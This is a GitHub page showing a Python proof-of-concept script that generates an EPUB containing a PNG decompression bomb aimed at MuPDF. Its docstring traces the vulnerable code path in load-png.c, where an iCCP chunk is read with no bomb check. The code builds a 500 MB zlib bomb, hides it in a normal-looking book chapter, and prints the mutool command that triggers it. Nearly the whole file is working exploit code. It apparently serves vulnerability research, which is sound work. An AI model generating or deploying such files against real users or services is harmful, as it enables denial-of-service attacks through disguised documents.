-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathgen_bomb_epub.py
More file actions
161 lines (131 loc) · 5.75 KB
/
Copy pathgen_bomb_epub.py
File metadata and controls
161 lines (131 loc) · 5.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
"""
PoC generator: EPUB-wrapped PNG compression bomb for MuPDF.
Exploits: fz_read_all(ctx, zstm, 0) bypass in load-png.c:377 (png_read_icc)
A normal-looking .epub file containing an XHTML page with an <img> tag
that references a bomb PNG. When MuPDF renders the EPUB:
html-parse.c:load_html_image()
-> fz_read_archive_entry(zip, "bomb.png") # extract from epub
-> fz_new_image_from_buffer(buf) # image.c
-> fz_recognize_image_format() -> FZ_IMAGE_PNG
-> fz_load_png_info() # image.c:1526 (even info-only triggers!)
-> png_read_image(only_metadata=1)
-> png_read_icc() # load-png.c:507 (no !only_metadata guard!)
-> fz_read_all(ctx, zstm, 0) # load-png.c:377 ← initial=0, check_bomb=false
-> [VULN] 500MB decompressed with no bomb detection
The bomb PNG's iCCP chunk contains a zlib stream that decompresses to
the specified size (default 500MB) of null bytes. Compression ratio ~1028x.
Usage:
python3 gen_bomb_epub.py [output.epub] [decompressed_size_mb]
Defaults: output=bomb.epub, decompressed_size_mb=500
"""
import struct
import zlib
import zipfile
import sys
import os
# ---------------------------------------------------------------------------
# Bomb PNG construction (same as gen_bomb_png.py)
# ---------------------------------------------------------------------------
def png_chunk(chunk_type, data):
chunk = chunk_type + data
return struct.pack(">I", len(data)) + chunk + struct.pack(">I", zlib.crc32(chunk) & 0xFFFFFFFF)
def make_bomb_png(decompressed_size=500 * 1024 * 1024):
"""Return bytes of a minimal PNG with an iCCP compression bomb."""
sig = b'\x89PNG\r\n\x1a\n'
# IHDR: 1x1 RGB
ihdr_data = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
ihdr = png_chunk(b'IHDR', ihdr_data)
# iCCP: zlib stream of `decompressed_size` null bytes
raw_data = b'\x00' * decompressed_size
compressed = zlib.compress(raw_data, 9)
iccp_data = b'bomb' + b'\x00' + b'\x00' + compressed
iccp = png_chunk(b'iCCP', iccp_data)
# IDAT: 1x1 pixel (filter=0 + 3 zero bytes)
row = b'\x00' + b'\x00' * 3
idat = png_chunk(b'IDAT', zlib.compress(row))
# IEND
iend = png_chunk(b'IEND', b'')
return sig + ihdr + iccp + idat + iend, len(compressed)
# ---------------------------------------------------------------------------
# EPUB construction
# ---------------------------------------------------------------------------
CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
<rootfiles>
<rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
</rootfiles>
</container>"""
CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="BookId" version="3.0">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:identifier id="BookId">urn:uuid:bomb-poc</dc:identifier>
<dc:title>PoC</dc:title>
<dc:language>en</dc:language>
<dc:creator>poctest</dc:creator>
</metadata>
<manifest>
<item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
<item id="bomb" href="bomb.png" media-type="image/png"/>
<item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml"/>
</manifest>
<spine toc="ncx">
<itemref idref="chapter1"/>
</spine>
</package>"""
TOC_NCX = """<?xml version="1.0" encoding="UTF-8"?>
<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1">
<head>
<meta name="dtb:uid" content="urn:uuid:bomb-poc"/>
<meta name="dtb:depth" content="1"/>
<meta name="dtb:totalPageCount" content="1"/>
<meta name="dtb:maxPageNumber" content="1"/>
</head>
<navMap>
<navPoint id="navpoint-1" playOrder="1">
<navLabel><text>Chapter 1</text></navLabel>
<content src="chapter1.xhtml"/>
</navPoint>
</navMap>
</ncx>"""
CHAPTER_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head>
<title>Chapter 1</title>
<meta charset="utf-8"/>
</head>
<body>
<h1>Chapter 1</h1>
<p>Illustration:</p>
<img src="bomb.png" alt="figure"/>
</body>
</html>"""
def make_epub(output_path, bomb_png_bytes):
"""Write a valid EPUB 3 containing the bomb PNG."""
with zipfile.ZipFile(output_path, 'w') as z:
# mimetype must be first entry, uncompressed (EPUB spec)
z.writestr('mimetype', 'application/epub+zip',
compress_type=zipfile.ZIP_STORED)
# META-INF/container.xml
z.writestr('META-INF/container.xml', CONTAINER_XML)
# OEBPS content
z.writestr('OEBPS/content.opf', CONTENT_OPF)
z.writestr('OEBPS/toc.ncx', TOC_NCX)
z.writestr('OEBPS/chapter1.xhtml', CHAPTER_XHTML)
# The bomb PNG — stored uncompressed to keep file small
z.writestr('OEBPS/bomb.png', bomb_png_bytes,
compress_type=zipfile.ZIP_STORED)
if __name__ == '__main__':
output = sys.argv[1] if len(sys.argv) > 1 else 'bomb.epub'
size_mb = int(sys.argv[2]) if len(sys.argv) > 2 else 500
decompressed_size = size_mb * 1024 * 1024
print(f"Generating bomb PNG (decompressed: {size_mb} MB)...")
bomb_png, compressed_len = make_bomb_png(decompressed_size)
print(f" iCCP zlib stream: {compressed_len} bytes compressed, "
f"ratio={decompressed_size / compressed_len:.1f}x")
make_epub(output, bomb_png)
file_size = os.path.getsize(output)
print(f" Written: {output} ({file_size} bytes = {file_size/1024:.1f} KB)")
print(f" Bomb ratio: {decompressed_size / file_size:.1f}x")
print(f"\nUsage: mutool draw -F ppm -o /dev/null -s m {output}")